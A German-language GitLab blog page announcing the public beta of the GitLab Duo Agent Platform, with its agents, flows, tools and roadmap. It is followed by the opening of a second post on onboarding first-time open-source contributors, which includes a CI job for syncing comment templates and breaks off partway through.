GitLab

GitLab Duo Agent Platform jetzt in Public Beta: KI-Orchestrierung der nächsten Generation

2025-07-17T00:00:00.000Z

Das ist die Zukunft der Software-Entwicklung.

Bei GitLab gestalten wir die Zukunft der Software-Entwicklung neu als Zusammenarbeit zwischen Menschen und KI. Entwickler(innen) konzentrieren sich auf die Lösung technischer, komplexer Probleme und treiben Innovationen voran, während KI-Agenten die routinemäßigen, sich wiederholenden Aufgaben übernehmen, die den Fortschritt verlangsamen. Entwickler(innen) sind frei, neue Ideen im Code zu deutlich geringeren Kosten zu erkunden, Bug-Backlogs gehören der Vergangenheit an, und die Nutzer(innen) der von dir erstellten Software genießen eine benutzerfreundlichere, zuverlässigere und sicherere Erfahrung. Das ist kein ferner Traum. Wir bauen diese Realität schon heute. Sie heißt GitLab Duo Agent Platform.

Was ist GitLab Duo Agent Platform?

GitLab Duo Agent Platform ist unsere DevSecOps-Orchestrierungsplattform der nächsten Generation, welche entwickelt wurde, um die asynchrone Zusammenarbeit zwischen Entwickler(innen) und KI-Agenten zu ermöglichen. Sie wird deinen Entwicklungsworkflow von isolierten linearen Prozessen in eine dynamische Zusammenarbeit verwandeln, bei der spezialisierte KI-Agenten in jeder Phase des Software-Entwicklungslebenszyklus an deiner Seite und mit deinem Team arbeiten. Es wird so sein, als hättest du ein unbegrenztes Team von Kolleg(inn)en zur Verfügung.

Stell dir vor, du delegierst eine komplexe Refaktorierungsaufgabe an einen Software-Entwickler-Agenten, während gleichzeitig ein Sicherheitsanalyse-Agent nach Schwachstellen sucht und ein Deep-Research-Agent den Fortschritt über deine Repository-Historie hinweg analysiert. All dies geschieht parallel, nahtlos orchestriert innerhalb von GitLab.

Heute kündigen wir die Einführung der ersten Public Beta von GitLab Duo Agent Platform für GitLab.com und selbstverwaltete GitLab Premium- und Ultimate-Kund(inn)en an. Dies ist nur die erste einer Reihe von Updates, die verbessern werden, wie Software geplant, erstellt, verifiziert und bereitgestellt wird, während wir menschlichen Einfallsreichtum durch intelligente Automatisierung verstärken.

Diese erste Beta konzentriert sich auf die Freischaltung der IDE-Erfahrung über die GitLab VS Code-Erweiterung und das JetBrains IDEs-Plugin; nächsten Monat planen wir, die Duo Agent Platform-Erfahrung in die GitLab-Anwendung zu bringen und unsere IDE-Unterstützung zu erweitern.

Lass mich ein wenig mehr über unsere Vision für die Roadmap von heute bis zur allgemeinen Verfügbarkeit, die für später in diesem Jahr geplant ist, berichten. Details zur ersten Beta findest du unten.

Schau dir dieses Video an oder lies weiter, um zu erfahren, was jetzt verfügbar ist und was demnächst kommen wird. Wenn du dann bereit bist, mit Duo Agent Platform zu arbeiten, erfährst du hier, wie das mit der Public Beta geht.

GitLabs einzigartige Position als Orchestrierungsplattform

GitLab steht im Mittelpunkt des Entwicklungslebenszyklus als System of Record für Engineering-Teams und orchestriert die gesamte Reise vom Konzept zur Produktion für über 50 Millionen registrierte Nutzer(innen), einschließlich der Hälfte der Fortune 500 über alle Geografien hinweg. Dies umfasst über 10.000 zahlende Kund(inn)en in allen Segmenten und Branchen, einschließlich öffentlicher Institutionen.

Dies gibt GitLab etwas, was kein Wettbewerber bieten kann: ein umfassendes Verständnis von allem, was es braucht, um Software zu liefern. Wir bringen deine Projektpläne, Code, Testläufe, Sicherheitsscans, Compliance-Prüfungen und CI/CD-Konfigurationen zusammen, um nicht nur dein Team zu unterstützen, sondern auch die Zusammenarbeit mit KI-Agenten zu orchestrieren, die du kontrollierst.

Als intelligente, einheitliche DevSecOps-Plattform speichert GitLab den gesamten Kontext deiner Software-Engineering-Praxis an einem Ort. Wir werden diese einheitlichen Daten über unseren Knowledge Graph KI-Agenten zugänglich machen. Jeder Agent, den wir erstellen, hat automatischen Zugriff auf diesen SDLC-verbundenen Datensatz und bietet einen reichhaltigen Kontext, sodass Agenten fundierte Empfehlungen abgeben und Maßnahmen ergreifen können, die deinen organisatorischen Standards entsprechen.

Hier ist ein Beispiel für diesen Vorteil in Aktion. Hast du jemals versucht herauszufinden, wie genau ein Projekt über Dutzende, wenn nicht Hunderte von Stories und Issues verläuft, die von allen beteiligten Entwickler(inne)n bearbeitet werden? Unser Deep Research Agent nutzt den GitLab Knowledge Graph und semantische Suchfunktionen, um dein Epic und alle damit verbundenen Issues zu durchsuchen, die zugehörige Codebasis und den umgebenden Kontext zu erkunden. Er korreliert schnell Informationen über deine Repositories, Merge Requests und Deployment-Historie hinweg. Dies liefert kritische Einblicke, die eigenständige Tools nicht bieten können und die menschliche Entwickler(innen) Stunden kosten würden, um sie zu entdecken.

Unsere strategische Entwicklung von KI-Features zur Agenten-Orchestrierung

GitLab Duo begann als Add-on, das generative KI zu Entwickler(inne)n über Duo Pro und Enterprise brachte. Mit GitLab 18.0 ist es jetzt in die Plattform integriert. Wir haben Duo Agentic Chat und Code Suggestions für alle Premium- und Ultimate-Nutzer(innen) freigeschaltet, und jetzt bieten wir sofortigen Zugang zu Duo Agent Platform.

Wir haben die Engineering-Investitionen erhöht und beschleunigen die Bereitstellung, wobei jeden Monat leistungsstarke neue KI-Features landen. Aber wir bauen nicht nur einen weiteren Coding-Assistenten. GitLab Duo wird zu einer Agenten-Orchestrierungsplattform, auf der du KI-Agenten erstellen, anpassen und bereitstellen kannst, die an deiner Seite arbeiten und problemlos mit anderen Systemen interoperieren, was die Produktivität dramatisch steigert.

„GitLab Duo Agent Platform verbessert unseren Entwicklungsworkflow mit KI, die unsere Codebasis und unsere Organisation wirklich versteht. GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten sind zu echten Mitarbeitern unserer Teams geworden, und ihre Fähigkeit, Absichten zu verstehen, Probleme zu zerlegen und Maßnahmen zu ergreifen, befreit unsere Entwickler(innen), sich den aufregenden, innovativen Arbeiten zu widmen, die sie lieben." - Bal Kang, Engineering Platform Lead bei NatWest

Agenten, die sofort funktionieren

Wir führen Agenten ein, die vertraute Teamrollen widerspiegeln. Diese Agenten können in GitLab suchen, lesen, erstellen und vorhandene Artefakte ändern. Denk an diese als Agenten, mit denen du einzeln interagieren kannst, die auch als Bausteine fungieren, die du anpassen kannst, um deine eigenen Agenten zu erstellen. Wie deine Teammitglieder haben Agenten definierte Spezialisierungen, wie Softwareentwicklung, Testen oder technisches Schreiben. Als Spezialisten nutzen sie den richtigen Kontext und die richtigen Tools, um konsequent die gleichen Arten von Aufgaben zu erledigen, wo immer sie eingesetzt werden.

Hier sind einige der Agenten, die wir heute bauen:

Chat-Agent (jetzt in Beta): Nimmt Anfragen in natürlicher Sprache entgegen, um dem Nutzer Informationen und Kontext bereitzustellen. Kann allgemeine Entwicklungsaufgaben ausführen, wie das Lesen von Issues oder Code-Diffs. Als Beispiel kannst du Chat bitten, einen fehlgeschlagenen Job zu debuggen, indem du die Job-URL bereitstellst.

Software-Entwickler-Agent (jetzt in Beta): Arbeitet an zugewiesenen Elementen, indem er Code-Änderungen in virtuellen Entwicklungsumgebungen erstellt und Merge Requests zur Überprüfung öffnet.
Produktplanungs-Agent: Priorisiert Produkt-Backlogs, weist Arbeitselemente menschlichen und agentischen Teammitgliedern zu und liefert Projekt-Updates über festgelegte Zeiträume.
Software-Test-Ingenieur-Agent: Testet neue Code-Beiträge auf Bugs und validiert, ob gemeldete Probleme gelöst wurden.
Code-Review-Agent: Führt Code-Reviews nach Teamstandards durch, identifiziert Qualitäts- und Sicherheitsprobleme und kann Code mergen, wenn er bereit ist.
Plattform-Ingenieur-Agent: Überwacht GitLab-Deployments, einschließlich GitLab Runners, verfolgt die CI/CD-Pipeline-Gesundheit und meldet Performance-Probleme an menschliche Plattform-Engineering-Teams.
Sicherheitsanalyse-Agent: Findet Schwachstellen in Codebasen und bereitgestellten Anwendungen und implementiert Code- und Konfigurationsänderungen, um Sicherheitsschwächen zu beheben.
Deployment-Ingenieur-Agent: Stellt Updates in der Produktion bereit, überwacht ungewöhnliches Verhalten und macht Änderungen rückgängig, die sich auf die Anwendungsleistung oder -sicherheit auswirken.
Deep-Research-Agent: Führt umfassende, quellenübergreifende Analysen über dein gesamtes Entwicklungsökosystem durch.

Was diese Agenten leistungsstark macht, ist ihr nativer Zugriff auf GitLabs umfassendes Toolkit. Heute haben wir über 25 Tools, von Issues und Epics bis zu Merge Requests und Dokumentation, mit mehr in Sicht. Im Gegensatz zu externen KI-Tools, die mit begrenztem Kontext arbeiten, arbeiten unsere Agenten als echte Teammitglieder mit vollständigen Plattformberechtigungen unter deiner Aufsicht.

In den kommenden Monaten wirst du auch in der Lage sein, diese Agenten zu modifizieren, um den Bedürfnissen deiner Organisation gerecht zu werden. Zum Beispiel wirst du spezifizieren können, dass ein Software-Test-Ingenieur-Agent Best Practices für ein bestimmtes Framework oder eine bestimmte Methodik befolgt, seine Spezialisierung vertieft und ihn zu einem noch wertvolleren Teammitglied macht.

Flows orchestrieren komplexe Agenten-Aufgaben

Zusätzlich zu einzelnen Agenten führen wir Agenten-Flows ein. Betrachte diese als komplexere Workflows, die mehrere Agenten mit vorgefertigten Anweisungen, Schritten und Aktionen für eine bestimmte Aufgabe umfassen können, die autonom ausgeführt werden kann.

Während du Flows für grundlegende Aufgaben erstellen kannst, die für Einzelpersonen üblich sind, brillieren sie wirklich, wenn sie auf komplexe, spezialisierte Aufgaben angewendet werden, die normalerweise Stunden an Koordination und Aufwand erfordern würden. Flows helfen dir, komplexe Aufgaben schneller zu erledigen und in vielen Fällen asynchron ohne menschliche Intervention.

Flows haben spezifische Trigger für die Ausführung. Jeder Flow enthält eine Reihe von Schritten, und jeder Schritt hat detaillierte Anweisungen, die einem spezialisierten Agenten sagen, was zu tun ist. Dieser granulare Ansatz ermöglicht es dir, den Agenten im Flow präzise Anweisungen zu geben. Durch die Definition von Anweisungen mit mehr Details und die Einrichtung strukturierter Entscheidungspunkte können Flows helfen, die inhärente Variabilität in KI-Antworten zu lösen und gleichzeitig die Notwendigkeit zu eliminieren, wiederholt die gleichen Anforderungen zu spezifizieren, was konsistentere und vorhersagbarere Ergebnisse ohne Benutzerkonfiguration freischaltet.

Hier sind einige Beispiele für sofort einsatzbereite Flows, die wir bauen:

Software-Entwicklungs-Flow (jetzt in Beta): Orchestriert mehrere Agenten, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen, und hilft dabei zu transformieren, wie Teams Features vom Konzept zur Produktion liefern.

Issue-to-MR-Flow: Konvertiert automatisch Issues in umsetzbare Merge Requests, indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und Code zu generieren.

CI-Datei-Konvertierungs-Flow: Vereinfacht Migrations-Workflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren.

Such- und Ersetzungs-Flow: Entdeckt und transformiert Code-Muster über Codebasen hinweg, indem Projektstrukturen systematisch analysiert, Optimierungsmöglichkeiten identifiziert und präzise Ersetzungen ausgeführt werden.

Incident-Response- und Root-Cause-Analyse-Flow: Orchestriert die Incident-Response durch Korrelation von Systemdaten, Koordination spezialisierter Agenten für die Root-Cause-Analyse und Ausführung genehmigter Abhilfemaßnahmen, während menschliche Stakeholder während des gesamten Lösungsprozesses informiert bleiben.

Hier verfolgt GitLab Duo Agent Platform einen wirklich einzigartigen Ansatz im Vergleich zu anderen KI-Lösungen. Wir geben dir nicht nur vorgefertigte Agenten. Wir geben dir auch die Möglichkeit, Agenten-Flows zu erstellen, anzupassen und zu teilen, die perfekt zu deinen individuellen und organisatorischen Bedürfnissen passen. Und mit Flows kannst du dann Agenten einen spezifischen Ausführungsplan für allgemeine und komplexe Aufgaben geben.

Wir glauben, dass dieser Ansatz leistungsstärker ist als spezialisierte Agenten zu bauen, wie es unsere Wettbewerber tun, denn jede Organisation hat unterschiedliche Workflows, Codierungsstandards, Sicherheitsanforderungen und Geschäftslogik. Generische KI-Tools können deinen spezifischen Kontext nicht verstehen, aber GitLab Duo Agent Platform wird so angepasst werden können, dass sie genau so funktioniert, wie dein Team arbeitet.

Warum Agenten und Agenten-Flows in GitLab Duo Agent Platform bauen?

Es geht schnell. Du kannst Agenten und komplexe Agenten-Flows in Duo Agent Platform schnell und einfach mit einem schnellen, deklarativen Erweiterbarkeitsmodell und UI-Unterstützung erstellen.

Integrierte Rechenleistung. Mit Duo Agent Platform musst du dich nicht mehr um den Aufwand kümmern, deine eigene Infrastruktur für Agenten aufzubauen: Rechenleistung, Netzwerk und Speicher sind alle integriert.

SDLC-Events. Deine Agenten können automatisch bei gängigen Ereignissen aufgerufen werden: defekte Pipeline, fehlgeschlagenes Deployment, erstelltes Issue usw.

Sofortiger Zugriff. Du kannst mit deinen Agenten überall in GitLab oder unserem IDE-Plugin interagieren: weise ihnen Issues zu, @erwähne sie in Kommentaren und chatte mit ihnen überall, wo Duo Chat verfügbar ist.

Unterstützung integrierter und benutzerdefinierter Modelle. Deine Agenten haben automatischen Zugriff auf alle von uns unterstützten Modelle, und Nutzer(innen) können spezifische Modelle für spezifische Aufgaben auswählen. Wenn du Duo Agent Platform mit deinem eigenen selbst gehosteten Modell verbinden möchtest, kannst du das auch tun!

Model Context Protocol (MCP) Endpunkte. Jeder Agent und Flow kann über native MCP-Endpunkte aufgerufen oder ausgelöst werden, sodass du dich von überall aus mit deinen Agenten und Flows verbinden und zusammenarbeiten kannst, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf.

Observability und Sicherheit. Schließlich bieten wir integrierte Observability und Nutzungs-Dashboards, damit du genau sehen kannst, wer, wo, was und wann Agenten in deinem Namen Aktionen durchgeführt haben.

Eine von der Community getriebene Zukunft

Community-Beiträge haben lange Zeit GitLabs Innovation und Softwareentwicklung angetrieben. Wir freuen uns, mit unserer Community bei der Einführung des KI-Katalogs zusammenzuarbeiten. Der KI-Katalog ermöglicht es dir, Agenten und Flows innerhalb deiner Organisation und im gesamten GitLab-Ökosystem in unserer kommenden Beta zu erstellen und zu teilen.

Wir glauben, dass die wertvollsten KI-Anwendungen wahrscheinlich von dir, unserer Community, entstehen werden, dank deiner täglichen Anwendung von GitLab Duo Agent Platform zur Lösung zahlreicher realer Anwendungsfälle. Durch die Ermöglichung des nahtlosen Teilens von Agenten und Flows schaffen wir einen Netzwerkeffekt, bei dem jeder Beitrag die kollektive Intelligenz und den Wert der Plattform erhöht. Im Laufe der Zeit glauben wir, dass die wertvollsten Anwendungsfälle von Agent Platform aus unserer florierenden GitLab-Community kommen werden.

Heute verfügbar in GitLab Duo Agent Platform in Public Beta

Die Public Beta von GitLab Duo Agent Platform ist jetzt für Premium- und Ultimate-Kund(inn)en mit diesen Funktionen verfügbar:

Software-Entwicklungs-Flow: Unser erster Flow orchestriert Agenten beim Sammeln umfassenden Kontexts, beim Klären von Unklarheiten mit menschlichen Entwickler(inne)n und beim Ausführen strategischer Pläne, um präzise Änderungen an deiner Codebasis und deinem Repository vorzunehmen. Er nutzt dein gesamtes Projekt, einschließlich seiner Struktur, Codebasis und Historie, zusammen mit zusätzlichem Kontext wie GitLab-Issues oder Merge Requests, um die Produktivität der Entwickler(innen) zu steigern.

Neue verfügbare Agenten-Tools: Agenten haben jetzt Zugriff auf mehrere Tools, um ihre Arbeit zu erledigen, darunter:

Dateisystem (Lesen, Erstellen, Bearbeiten, Dateien finden, Auflisten, Grep)
Befehlszeile ausführen*
Issues (Auflisten, Abrufen, Kommentare abrufen, Bearbeiten*, Erstellen*, Kommentare hinzufügen/aktualisieren*)
Epics (Abrufen, Kommentare abrufen)
MR (Abrufen, Kommentare abrufen, Diff abrufen, Erstellen, Aktualisieren)
Pipeline (Job-Logs, Pipeline-Fehler)
Projekt (Abrufen, Datei abrufen)
Commits (Abrufen, Auflisten, Kommentare abrufen, Diff abrufen)
Suche (Issue-Suche)
Secure (Schwachstellen auflisten)
Dokumentationssuche *=Erfordert Benutzergenehmigung

GitLab Duo Agentic Chat in der IDE: Duo Agentic Chat verwandelt die Chat-Erfahrung von einem passiven Q&A-Tool in einen aktiven Entwicklungspartner direkt in deiner IDE.

Iteratives Feedback und Chat-Verlauf: Duo Agentic Chat unterstützt jetzt Chat-Verlauf und iteratives Feedback und verwandelt den Agenten in einen zustandsbehafteten, gesprächsfähigen Partner. Dies fördert Vertrauen und ermöglicht es Entwickler(inne)n, komplexere Aufgaben zu delegieren und korrigierende Anleitung zu bieten.

Optimierte Delegation mit Slash-Befehlen: Erweiterte, leistungsstärkere Slash-Befehle wie /explain, /tests und /include erstellen eine „Delegationssprache" für schnelle und präzise Absichten. Der /include-Befehl ermöglicht die explizite Injektion von Kontext aus bestimmten Dateien, offenen Issues, Merge Requests oder Abhängigkeiten direkt in den Arbeitsspeicher des Agenten, macht den Agenten leistungsfähiger und lehrt Nutzer(innen), wie sie optimalen Kontext für qualitativ hochwertige Antworten bereitstellen.

Personalisierung durch benutzerdefinierte Regeln: Neue benutzerdefinierte Regeln ermöglichen es Entwickler(inne)n, das Agentenverhalten an individuelle und Teampräferenzen anzupassen, indem sie natürliche Sprache verwenden, zum Beispiel Entwicklungs-Styleguides. Dieser grundlegende Mechanismus formt die Persönlichkeit des Agenten zu einem personalisierten Assistenten und entwickelt sich zu spezialisierten Agenten basierend auf benutzerdefinierten Präferenzen und organisatorischen Richtlinien.

Unterstützung für GitLab Duo Agentic Chat in JetBrains IDE: Um Entwickler(innen) dort zu treffen, wo sie arbeiten, haben wir die Unterstützung von Duo Agentic Chat auf die JetBrains-Familie von IDEs erweitert, einschließlich IntelliJ, PyCharm, GoLand und Webstorm. Dies ergänzt unsere bestehende Unterstützung für VS Code. Bestehende Nutzer(innen) erhalten automatisch agentische Funktionen, während neue Nutzer(innen) das Plugin vom JetBrains Marketplace installieren können.

MCP-Client-Unterstützung: Duo Agentic Chat kann jetzt als MCP-Client fungieren und sich mit remote und lokal laufenden MCP-Servern verbinden.

Diese Fähigkeit ermöglicht es dem Agenten, sich mit Systemen jenseits von GitLab wie Jira, ServiceNow und ZenDesk zu verbinden, um Kontext zu sammeln oder Aktionen durchzuführen. Jeder Service, der sich über MCP exponiert, kann jetzt Teil des Skillsets des Agenten werden. Der offizielle GitLab MCP-Server kommt bald!

GitLab Duo Agentic Chat in der GitLab Web-UI. Duo Agentic Chat ist jetzt auch direkt in der GitLab Web-UI verfügbar. Dieser entscheidende Schritt entwickelt den Agenten von einem Coding-Assistenten zu einem echten DevSecOps-Agenten, da er Zugriff auf reichhaltigen Nicht-Code-Kontext erhält, wie Issues und Merge-Request-Diskussionen, was es ihm ermöglicht, das „Warum" hinter der Arbeit zu verstehen. Über das Verständnis des Kontexts hinaus kann der Agent Änderungen direkt aus der Web-UI vornehmen, wie z.B. automatisch Issue-Status aktualisieren oder Merge-Request-Beschreibungen bearbeiten.

Bald verfügbar in GitLab Duo Agent Platform

In den kommenden Wochen werden wir neue Funktionen für Duo Agent Platform veröffentlichen, einschließlich weiterer sofort einsatzbereiter Agenten und Flows. Diese werden die Plattform in die GitLab-Erfahrung bringen, die du heute liebst, und noch größere Anpassung und Erweiterbarkeit ermöglichen, was die Produktivität für unsere Kund(inn)en verstärkt:

Integrierte GitLab-Erfahrung: Aufbauend auf den in 18.2 verfügbaren IDE-Erweiterungen erweitern wir Agenten und Flows innerhalb der GitLab-Plattform. Diese tiefere Integration wird die Möglichkeiten erweitern, wie du synchron und asynchron mit Agenten zusammenarbeiten kannst. Du wirst in der Lage sein, Issues direkt an Agenten zuzuweisen, sie in GitLab Duo Chat zu @erwähnen und sie nahtlos von überall in der Anwendung aufzurufen, während die MCP-Konnektivität von deinem bevorzugten Entwicklungstool beibehalten wird. Diese native Integration verwandelt Agenten in echte Entwicklungsteammitglieder, die in ganz GitLab zugänglich sind.
Agenten-Observability: Da Agenten autonomer werden, bauen wir umfassende Sichtbarkeit in ihre Aktivität auf, während sie durch Flows fortschreiten, was es dir ermöglicht, ihre Entscheidungsprozesse zu überwachen, Ausführungsschritte zu verfolgen und zu verstehen, wie sie deine Entwicklungsherausforderungen interpretieren und darauf reagieren. Diese Transparenz im Agentenverhalten schafft Vertrauen und Zuversicht, während es dir ermöglicht, Workflows zu optimieren, Engpässe zu identifizieren und sicherzustellen, dass Agenten genau wie beabsichtigt funktionieren.
KI-Katalog: In Anerkennung der Tatsache, dass großartige Lösungen aus Community-Innovation entstehen, werden wir bald die Public Beta unseres KI-Katalogs einführen - ein Marktplatz, der es dir ermöglicht, Duo Agent Platform mit spezialisierten Agenten und Flows zu erweitern, die von GitLab und im Laufe der Zeit von der breiteren Community stammen. Du wirst in der Lage sein, diese Lösungen schnell in GitLab bereitzustellen und dabei den Kontext über deine Projekte und Codebasis hinweg zu nutzen.
Knowledge Graph: Unter Nutzung von GitLabs einzigartigem Vorteil als System of Record für Quellcode und seinen umgebenden Kontext bauen wir einen umfassenden Knowledge Graph auf, der nicht nur Dateien und Abhängigkeiten über die Codebasis hinweg abbildet, sondern diese Karte auch für Nutzer(innen) navigierbar macht, während KI-Abfragezeiten beschleunigt und die Genauigkeit erhöht wird. Diese Grundlage ermöglicht es GitLab Duo-Agenten, Beziehungen über deine gesamte Entwicklungsumgebung hinweg schnell zu verstehen, von Code-Abhängigkeiten bis zu Deployment-Mustern, und ermöglicht schnellere und präzisere Antworten auf komplexe Fragen.

Agenten und Flows erstellen und bearbeiten: Im Verständnis, dass jede Organisation einzigartige Workflows und Anforderungen hat, entwickeln wir leistungsstarke Funktionen zur Erstellung und Bearbeitung von Agenten und Flows, die eingeführt werden, wenn der KI-Katalog reift. Du wirst in der Lage sein, Agenten und Flows zu erstellen und zu modifizieren, damit sie genau so funktionieren, wie deine Organisation arbeitet, und eine tiefe Anpassung über Duo Agent Platform hinweg liefern, die qualitativ hochwertigere Ergebnisse und erhöhte Produktivität ermöglicht.

Offizieller GitLab MCP-Server: In der Erkenntnis, dass Entwickler(innen) über mehrere Tools und Umgebungen hinweg arbeiten, bauen wir einen offiziellen GitLab MCP-Server, der es dir ermöglicht, über MCP auf alle deine Agenten und Flows zuzugreifen. Du wirst in der Lage sein, dich mit deinen Agenten und Flows von überall aus zu verbinden und zusammenzuarbeiten, wo MCP unterstützt wird, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf, was eine nahtlose KI-Zusammenarbeit unabhängig von deiner bevorzugten Entwicklungsumgebung ermöglicht.
GitLab Duo Agent Platform CLI: Unsere kommende CLI ermöglicht es dir, Agenten aufzurufen und Flows auf der Befehlszeile auszulösen, wobei GitLabs reichhaltiger Kontext über den gesamten Software-Entwicklungslebenszyklus genutzt wird - von Code-Repositories und Merge Requests bis zu CI/CD-Pipelines und Issue-Tracking.

Jetzt loslegen

GitLab Premium- und Ultimate-Kund(inn)en in GitLab.com- und selbstverwalteten Umgebungen, die GitLab 18.2 verwenden, können Duo Agent Platform sofort nutzen (Beta- und experimentelle Funktionen für GitLab Duo müssen aktiviert sein).
Nutzer(innen) sollten die VS Code-Erweiterung oder das JetBrains IDEs-Plugin herunterladen und unserem Leitfaden zur Verwendung von GitLab Duo Agentic Chat folgen, einschließlich der Duo Chat Slash-Befehle.

Neu bei GitLab? Jeder kann an unserer kommenden (englischsprachigen) Technischen Demo teilnehmen, um GitLab Duo Agent Platform in Aktion zu sehen. Um GitLab Duo Agent Platform selbst praktisch zu erleben, melde dich noch heute für eine kostenlose Testversion an.

Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen" im Sinne von Abschnitt 27A des Securities Act von 1933 in der geänderten Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den in den zukunftsgerichteten Aussagen ausgedrückten oder implizierten zukünftigen Ergebnissen oder Resultaten abweichen.

Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von den in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthaltenen oder betrachteten abweichen, finden sich unter der Überschrift „Risikofaktoren" und an anderer Stelle in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu überarbeiten oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, es sei denn, dies ist gesetzlich vorgeschrieben.

Wie wir GitLab nutzen, um Open-Source-Communities wachsen zu lassen

2025-07-15T00:00:00.000Z

GitLabs Contributor Success Team stand vor einer Herausforderung. Während unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von GitLabs Mission, allen das Mitwirken zu ermöglichen, wollten wir es besser machen.

Wir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat und übertrafen damit erstmals unser Teamziel von 170.

Drei Monate später brachen wir den Rekord erneut mit 192.

So haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.

Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben

2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch. Wir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.

Die Teilnehmenden sagten uns:

Die Mitwirkenden-Dokumentation war verwirrend
Der Einstieg fühlte sich überwältigend an
Es war nicht klar, wie oder wo man Hilfe finden konnte

Nur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.

Es wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben. Also haben wir iteriert!

Unser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools wie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte Onboarding-Lösung zu entwickeln.

2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100%. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der Maintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.

Noch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten: „Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'"

Wir haben persönliches Onboarding mit GitLab aufgebaut

Unsere Lösung begann mit Engagement. Um Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden Mitwirkenden mit einem Community-Maintainer verbindet.

Wir erstellten ein Issue-Template mit einer klaren Checkliste von Aufgaben.

Das Onboarding-Issue behandelt auch die Zugangsgenehmigung für die GitLab Community Forks, eine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten und auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.

Mit Scoped Labels zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.

Wir begannen mit einem Ruby-Skript, das über eine geplante Pipeline ausgeführt wurde, nach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.

Von hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.

Wir standardisierten Antworten mit Kommentar-Templates

Mit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.

Wir erstellten Kommentar-Templates, die wir mit dem Repository über die GraphQL-API und ein Ruby-Skript synchronisieren.

Das Skript wird in .gitlab-ci.yml ausgelöst, wenn Änderungen an Kommentar-Templates zum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).

execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == "trigger"
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE

Wir eliminierten die 5-Minuten-Wartezeit

